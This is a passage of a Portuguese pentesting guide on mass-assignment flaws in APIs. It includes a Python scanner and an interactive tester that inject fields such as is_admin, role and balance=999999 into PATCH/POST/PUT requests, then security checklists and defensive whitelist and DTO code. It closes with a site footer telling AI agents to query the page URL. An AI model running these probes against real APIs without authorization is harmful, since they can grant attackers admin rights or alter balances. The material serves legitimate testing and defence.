    def scan_endpoint(self, endpoint, method='PATCH', sample_payload=None):
        """Escaneiar endpoint para vulnerabilidades de mass assignment"""
        
        if sample_payload is None:
            sample_payload = self.generate_sample_payload()
        
        # Testar com propriedades sensíveis
        sensitive_properties = self.get_sensitive_properties()
        
        for prop in sensitive_properties:
            test_payload = sample_payload.copy()
            test_payload[prop] = self.get_malicious_value(prop)
            
            headers = {
                'Content-Type': 'application/json',
                'User-Agent': 'Security-Scanner/1.0'
            }
            
            if self.auth_token:
                headers['Authorization'] = f'Bearer {self.auth_token}'
            
            try:
                if method.upper() == 'PATCH':
                    response = requests.patch(
                        urljoin(self.target, endpoint),
                        json=test_payload,
                        headers=headers,
                        timeout=10
                    )
                elif method.upper() == 'POST':
                    response = requests.post(
                        urljoin(self.target, endpoint),
                        json=test_payload,
                        headers=headers,
                        timeout=10
                    )
                elif method.upper() == 'PUT':
                    response = requests.put(
                        urljoin(self.target, endpoint),
                        json=test_payload,
                        headers=headers,
                        timeout=10
                    )
                
                if self.is_vulnerable(response, prop):
                    self.vulnerabilities.append({
                        'endpoint': endpoint,
                        'method': method,
                        'property': prop,
                        'status_code': response.status_code,
                        'payload': test_payload
                    })
                    
            except requests.RequestException as e:
                print(f"Error scanning {endpoint}: {e}")
    
    def is_vulnerable(self, response, property_name):
        """Determinar se a vulnerabilidade foi explorada com sucesso"""
        
        # Status code 2xx geralmente indica sucesso
        if response.status_code in [200, 201, 204]:
            return True
        
        # Respostas que indicam que a propriedade foi processada
        if response.status_code == 400:
            response_text = response.text.lower()
            
            # Mensagens de erro específicas para a propriedade
            error_indicators = [
                f'invalid {property_name}',
                f'{property_name} is required',
                f'{property_name} must be',
                f'validation failed for {property_name}'
            ]
            
            for indicator in error_indicators:
                if indicator in response_text:
                    return True
        
        return False
    
    def generate_sample_payload(self):
        """Gerar payload de exemplo baseado no tipo de endpoint"""
        
        return {
            "name": "Test User",
            "email": "test@example.com",
            "bio": "This is a test bio"
        }
    
    def get_sensitive_properties(self):
        """Lista de propriedades sensíveis para teste"""
        
        return [
            # Propriedades de privilégio
            'is_admin', 'admin', 'isAdmin', 'administrator',
            'role', 'roles', 'permissions', 'privileges',
            'type', 'user_type', 'account_type',
            
            # Propriedades financeiras
            'balance', 'credit', 'credits', 'points',
            'salary', 'income', 'revenue',
            
            # Propriedades de status
            'active', 'enabled', 'verified', 'confirmed',
            'status', 'state', 'phase',
            
            # Propriedades de sistema
            'created_at', 'updated_at', 'deleted_at',
            'id', 'user_id', 'owner_id', 'author_id',
            
            # Propriedades de segurança
            'password', 'password_hash', 'token', 'api_key'
        ]
    
    def get_malicious_value(self, property_name):
        """Gerar valor malicioso apropriado para a propriedade"""
        
        prop_lower = property_name.lower()
        
        if any(keyword in prop_lower for keyword in ['admin', 'role', 'type']):
            return 'admin'
        elif any(keyword in prop_lower for keyword in ['balance', 'credit', 'amount']):
            return 999999
        elif any(keyword in prop_lower for keyword in ['active', 'enabled', 'verified']):
            return True
        elif any(keyword in prop_lower for keyword in ['price', 'cost']):
            return 0.01
        elif 'email' in prop_lower:
            return 'attacker@evil.com'
        elif 'id' in prop_lower:
            return 1
        else:
            return 'malicious_value'
    
    def scan_multiple_endpoints(self, endpoints_config):
        """Escaneiar múltiplos endpoints"""
        
        for config in endpoints_config:
            endpoint = config['endpoint']
            method = config.get('method', 'PATCH')
            sample_payload = config.get('sample_payload')
            
            print(f"Scanning {endpoint} with method {method}")
            self.scan_endpoint(endpoint, method, sample_payload)
    
    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        
        return {
            'target': self.target,
            'vulnerabilities_found': len(self.vulnerabilities),
            'vulnerabilities': self.vulnerabilities,
            'risk_level': 'HIGH' if self.vulnerabilities else 'LOW',
            'recommendations': [
                "Implementar lista branca de atributos permitidos",
                "Usar DTOs (Data Transfer Objects) para separação de concerns",
                "Validar entrada em nível de schema",
                "Implementar autorização em nível de campo",
                "Usar serializers/validators específicos para cada operação"
            ]
        }

# Uso
if __name__ == "__main__":
    scanner = MassAssignmentScanner('https://api.example.com')
    
    endpoints_to_scan = [
        {'endpoint': '/api/users/1', 'method': 'PATCH'},
        {'endpoint': '/api/products', 'method': 'POST'},
        {'endpoint': '/api/orders/1', 'method': 'PUT'}
    ]
    
    scanner.scan_multiple_endpoints(endpoints_to_scan)
    report = scanner.generate_report()
    
    print(f"Scan completed. Found {report['vulnerabilities_found']} vulnerabilities.")
    for vuln in report['vulnerabilities']:
        print(f"- {vuln['endpoint']}: {vuln['property']}")
```

#### **2. Ferramentas Especializadas**

```bash
# Framework-specific tools
brakeman --checks MassAssignment # Ruby on Rails
npm audit --audit-level high     # Node.js
safety check                     # Python
php artisan make:model -a       # Laravel model analysis

# API security scanners
nuclei -t mass-assignment -u https://api.target.com
owasp-zap -t https://api.target.com -s mass_assignment

# Custom scripts
python mass_assignment_detector.py -u https://api.target.com
./scan_mass_assignment.sh api_endpoints.txt
```

### **Testes Manuais**

#### **1. Teste Interativo de Mass Assignment**

```python
# interactive_mass_assignment_tester.py
import requests
import json

def interactive_test(target_url, endpoint, auth_token=None):
    """Teste interativo de mass assignment"""
    
    print(f"Testing mass assignment on {target_url}{endpoint}")
    print("Enter properties to test (one per line, empty line to finish):")
    
    properties = []
    while True:
        prop = input("Property: ").strip()
        if not prop:
            break
        properties.append(prop)
    
    if not properties:
        print("No properties provided.")
        return
    
    # Criar payload de teste
    test_payload = {}
    for prop in properties:
        test_payload[prop] = input(f"Value for {prop}: ").strip()
    
    headers = {'Content-Type': 'application/json'}
    if auth_token:
        headers['Authorization'] = f'Bearer {auth_token}'
    
    # Testar com PATCH
    response = requests.patch(
        f"{target_url}{endpoint}",
        json=test_payload,
        headers=headers
    )
    
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
    
    if response.status_code in [200, 201, 204]:
        print("⚠️  Potential mass assignment vulnerability detected!")
        
        # Verificar se as propriedades foram aplicadas
        get_response = requests.get(f"{target_url}{endpoint}", headers=headers)
        if get_response.status_code == 200:
            current_data = get_response.json()
            for prop in properties:
                if prop in current_data and current_data[prop] == test_payload[prop]:
                    print(f"✅ Property {prop} was successfully modified")
                else:
                    print(f"❌ Property {prop} was not modified")

# Uso
# interactive_test('https://api.example.com', '/api/users/123', 'auth_token_here')
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção de Mass Assignment**

* [ ] **Lista Branca de Atributos**
  * [ ] Definir explicitamente campos permitidos para cada operação
  * [ ] Usar `fields` ou `fillable` em modelos
  * [ ] Implementar `read_only_fields` para atributos sensíveis
  * [ ] Validar entrada contra schema definido
* [ ] **Separação de Concerns**
  * [ ] Usar DTOs (Data Transfer Objects) para entrada/saída
  * [ ] Criar serializers/validators específicos por operação
  * [ ] Separar endpoints administrativos dos endpoints de usuário
  * [ ] Implementar diferentes níveis de autorização por campo
* [ ] **Validação e Sanitização**
  * [ ] Validar tipo e formato de todos os campos
  * [ ] Implementar validação em nível de schema (JSON Schema)
  * [ ] Sanitizar entrada antes do processamento
  * [ ] Rejeitar propriedades não esperadas
* [ ] **Monitoramento e Detecção**
  * [ ] Logar tentativas de modificação de campos sensíveis
  * [ ] Monitorar padrões de requisição suspeitos
  * [ ] Implementar rate limiting por endpoint
  * [ ] Alertar para atividades anômalas

### **Checklist de Auditoria**

* [ ] **Teste de Endpoints**
  * [ ] Testar todos os endpoints de criação/atualização
  * [ ] Verificar campos sensíveis em cada modelo
  * [ ] Testar nested objects e relacionamentos
  * [ ] Validar diferentes métodos HTTP (POST, PUT, PATCH)
* [ ] **Análise de Código**
  * [ ] Revisar uso de funções de mass assignment
  * [ ] Verificar configurações de ORM/Model
  * [ ] Analisar serializers e validators
  * [ ] Checar autorização em nível de campo
* [ ] **Teste de Proteções**
  * [ ] Verificar se lista branca está funcionando
  * [ ] Testar bypass de proteções existentes
  * [ ] Validar mensagens de erro
  * [ ] Checar logging e monitoramento

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitorar logs por modificações suspeitas
  * [ ] Alertar para mudanças em campos sensíveis
  * [ ] Detectar padrões de exploração
  * [ ] Identificar usuários comprometidos
* [ ] **Contenção**
  * [ ] Reverter modificações maliciosas
  * [ ] Bloquear usuários/IPs comprometidos
  * [ ] Revogar tokens de acesso
  * [ ] Implementar patches temporários
* [ ] **Correção**
  * [ ] Corrigir vulnerabilidades de mass assignment
  * [ ] Implementar proteções adequadas
  * [ ] Atualizar documentação e treinamento
  * [ ] Realizar auditoria de segurança completa

***

## 📊 **Exemplos de Implementação Segura**

### **Sistema Completo de Prevenção**

```python
# security/mass_assignment_protection.py
from typing import Dict, List, Set, Any
from functools import wraps
from flask import request, jsonify

class MassAssignmentProtector:
    """Sistema abrangente de proteção contra mass assignment"""
    
    def __init__(self):
        self.endpoint_configs = {}
    
    def register_endpoint(self, endpoint: str, method: str, allowed_fields: Set[str]):
        """Registrar configuração de segurança para endpoint"""
        
        key = f"{method.upper()}:{endpoint}"
        self.endpoint_configs[key] = {
            'allowed_fields': allowed_fields,
            'strict_mode': True
        }
    
    def protect(self, f):
        """Decorator para proteger endpoints"""
        
        @wraps(f)
        def decorated_function(*args, **kwargs):
            # Obter configuração para este endpoint
            endpoint_key = f"{request.method}:{request.path}"
            config = self.endpoint_configs.get(endpoint_key)
            
            if not config:
                # Se não houver configuração, bloquear por padrão
                return jsonify({
                    'error': 'Endpoint not properly configured for mass assignment protection'
                }), 500
            
            # Validar corpo da requisição
            if request.is_json and isinstance(request.json, dict):
                validation_result = self.validate_payload(request.json, config)
                
                if not validation_result['valid']:
                    return jsonify({
                        'error': 'Invalid input',
                        'invalid_fields': validation_result['invalid_fields']
                    }), 400
            
            return f(*args, **kwargs)
        
        return decorated_function
    
    def validate_payload(self, payload: Dict[str, Any], config: Dict) -> Dict:
        """Validar payload contra configuração de segurança"""
        
        invalid_fields = []
        allowed_fields = config['allowed_fields']
        
        for field in payload.keys():
            if field not in allowed_fields:
                invalid_fields.append(field)
        
        return {
            'valid': len(invalid_fields) == 0,
            'invalid_fields': invalid_fields
        }
    
    def sanitize_payload(self, payload: Dict[str, Any], config: Dict) -> Dict:
        """Sanitizar payload removendo campos não permitidos"""
        
        allowed_fields = config['allowed_fields']
        sanitized = {}
        
        for field, value in payload.items():
            if field in allowed_fields:
                sanitized[field] = value
        
        return sanitized

# Uso na aplicação
protector = MassAssignmentProtector()

# Registrar endpoints e campos permitidos
protector.register_endpoint(
    '/api/users/<user_id>', 
    'PATCH', 
    {'username', 'email', 'bio', 'avatar'}
)

protector.register_endpoint(
    '/api/products', 
    'POST', 
    {'name', 'description', 'price', 'category'}
)

# Aplicar proteção nas rotas
@app.route('/api/users/<user_id>', methods=['PATCH'])
@protector.protect
def update_user(user_id):
    # ✅ request.json já está validado e contém apenas campos permitidos
    user = User.query.get(user_id)
    
    # Sanitizar payload adicionalmente
    config = protector.endpoint_configs['PATCH:/api/users/<user_id>']
    sanitized_payload = protector.sanitize_payload(request.json, config)
    
    for field, value in sanitized_payload.items():
        setattr(user, field, value)
    
    user.save()
    
    return jsonify(user.to_dict())
```

### **DTO-based Protection System**

```typescript
// DTO-based protection in TypeScript
interface UserUpdateDTO {
  username?: string;
  email?: string;
  bio?: string;
  avatar?: string;
  // ⚠️ Campos sensíveis NÃO estão na interface
}

interface AdminUserUpdateDTO extends UserUpdateDTO {
  isAdmin?: boolean;
  role?: string;
  balance?: number;
}

class UserService {
  async updateUser(userId: string, updateData: UserUpdateDTO): Promise<User> {
    const user = await User.findById(userId);
    
    // ✅ Apenas atualizar campos do DTO
    if (updateData.username !== undefined) {
      user.username = updateData.username;
    }
    
    if (updateData.email !== undefined) {
      user.email = updateData.email;
    }
    
    if (updateData.bio !== undefined) {
      user.bio = updateData.bio;
    }
    
    if (updateData.avatar !== undefined) {
      user.avatar = updateData.avatar;
    }
    
    // ⚠️ Campos sensíveis NUNCA são atualizados aqui
    // user.isAdmin = ... - NUNCA
    // user.balance = ... - NUNCA
    
    return await user.save();
  }
  
  async updateUserAsAdmin(userId: string, updateData: AdminUserUpdateDTO): Promise<User> {
    const user = await User.findById(userId);
    
    // ✅ Atualizar campos básicos
    if (updateData.username !== undefined) user.username = updateData.username;
    if (updateData.email !== undefined) user.email = updateData.email;
    if (updateData.bio !== undefined) user.bio = updateData.bio;
    
    // ✅ Apenas admin pode atualizar campos sensíveis
    if (updateData.isAdmin !== undefined) user.isAdmin = updateData.isAdmin;
    if (updateData.role !== undefined) user.role = updateData.role;
    if (updateData.balance !== undefined) user.balance = updateData.balance;
    
    return await user.save();
  }
}

// Controller
class UserController {
  private userService = new UserService();
  
  async updateUser(req: Request, res: Response) {
    const userId = req.params.id;
    const updateData: UserUpdateDTO = req.body;
    
    // ✅ TypeScript garante que apenas campos do DTO estão presentes
    const updatedUser = await this.userService.updateUser(userId, updateData);
    
    res.json(updatedUser);
  }
  
  async updateUserAsAdmin(req: Request, res: Response) {
    const userId = req.params.id;
    const updateData: AdminUserUpdateDTO = req.body;
    
    // ✅ Verificar se usuário é admin
    if (!req.user.isAdmin) {
      return res.status(403).json({ error: 'Admin access required' });
    }
    
    const updatedUser = await this.userService.updateUserAsAdmin(userId, updateData);
    
    res.json(updatedUser);
  }
}
```

***

## ⚠️ **Considerações Finais**

### **Mitos Comuns sobre Mass Assignment**

* ❌ "Meu framework previne mass assignment por padrão" → **FALSO** (muitos frameworks requerem configuração explícita)
* ❌ "Campos sensíveis não são expostos na API" → **FALSO** (atacantes podem adivinhar nomes de campos)
* ❌ "Validação de entrada é suficiente" → **FALSO** (validação não previne atribuição de campos não validados)
* ❌ "APIs internas não precisam de proteção" → **FALSO** (APIs internas são alvo comum de ataques)

### **Boas Práticas Essenciais**

1. **Lista Branca Sempre**: Sempre usar lista branca em vez de lista negra
2. **Separação de DTOs**: Usar objetos de transferência específicos para cada operação
3. **Validação em Múltiplas Camadas**: Validar entrada em controller, service e model
4. **Princípio do Menor Privilégio**: Conceder acesso apenas aos campos necessários
5. **Monitoramento Proativo**: Detectar tentativas de exploração em tempo real
6. **Documentação Clara**: Documentar claramente quais campos são modificáveis

### **Referências e Padrões**

* OWASP Mass Assignment Cheat Sheet
* REST API Security Best Practices
* Framework-specific security guides (Rails, Django, Spring, etc.)
* CWE-915: Improperly Controlled Modification of Object Prototype Attributes

**🔐 Lembre-se**: Mass Assignment é uma vulnerabilidade silenciosa mas extremamente perigosa. Implemente proteções em múltiplas camadas e realize testes regulares para garantir que suas APIs estejam seguras contra essa ameaça.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/apis/mass-assignment.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
